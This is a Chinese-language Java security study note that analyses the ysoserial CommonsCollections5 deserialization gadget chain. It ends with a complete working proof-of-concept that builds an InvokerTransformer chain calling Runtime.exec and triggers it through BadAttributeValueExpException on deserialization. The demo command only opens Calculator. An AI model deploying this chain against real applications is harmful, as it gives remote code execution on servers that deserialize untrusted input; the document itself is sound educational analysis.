Java代码审计学习笔记之ysoserial分析(六、CommonsCollections5利用链)

1.CommonsCollections5利用链分析

这个利用链和CC1同样使用了lazyMap,通过调用lazyMapget方法获取一个不存在的键来触发ChainedTransformer.transform()。CC1中使用的是AnnotationInvocationHandler作为代理类,在invoke方法中触发lazyMap.get()CC5中,作者使用了TiedMapEntryBadAttributeValueExpException来触发lazyMap.get。首先来看一下这两个类:

1.1 TiedMapEntry

该类保存于org.apache.commons.collections.keyvalue.TiedMapEntry, 首先来看一下这个类的构造函数,代码如下:

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

传入两个参数,一个是Map,另一个是一个对象,然后分别赋值给类内部的两个属性。那么如果map传入一个我们构造的lazyMap那么只要调用map.get即可触发lazyMap.get。恰好就在TiedMapEntry.getValue方法中有调用,代码如下:

    public Object getValue() {
        return map.get(key);
    }

并且TiedMapEntry.toString中调用了TiedMapEntry.getValue,代码如下:

    public String toString() {
        return getKey() + "=" + getValue();
    }

因此只要我们的TiedMapEntry设置map属性为恶意的LazyMap,并且getValue或者toString方法被调用即可触发LazyMap.get。这里作者使用了BadAttributeValueExpException来在反序列化中触发TiedMapEntry.getValue

1.2 BadAttributeValueExpException

该类保存于javax.management.BadAttributeValueExpException,先看一下该类的readObject方法:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);//获取val实例

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();//可以看到这里调用了toString方法
        } else {
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

代码中关键部分为Object valObj = gf.get("val", null);val = valObj.toString();。首先获取一个名为val属性的实例,当val实例不为null,并且不属于String类时,并且System.getSecurityManager() == null时便会触发valObj.toString();。这里假如我们的val属性设置为一个1.1节中构造的恶意TiedMapEntry,那么就会触发lazyMap.get。当然作者也是这么使用的。不过先看一下System.getSecurityManager为什么会等于null?以及这是什么东西?

1.3 System.getSecurityManager

当运行未知的Java程序的时候,该程序可能有恶意代码,此时就可以使用SecurityManager(Java安全管理器) 来设置禁止程序执行哪些操作,例如禁止执行关机、删除文件等操作。启用Java安全管理器需要添加一个配置文件来指明权限,并在启动程序时通过附加参数启动安全管理器。例如:

java -jar test.jar -Djava.security.manager -Djava.security.policy="/tmp/java.policy"

如何配置该安全管理器不是我们学习的重点,我们只需要知道如果运行时未指定启动安全管理器则System.getSecurityManager()得到的结果将会是null

1.4 CC5源码

综上所属,反序列化时调用栈如下:

    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                    ....省略....
                    //后面就是触发ChainedTransformer.transform()那一串了

测试代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        //设置val,这里注意之所以在这里用反射方法设置,主要是因为BadAttributeValueExpException构造函数会调用传入实例的toString
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        //设置iTransformers参数
        Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(transformerChain, transformers);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(val);

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();

    }
}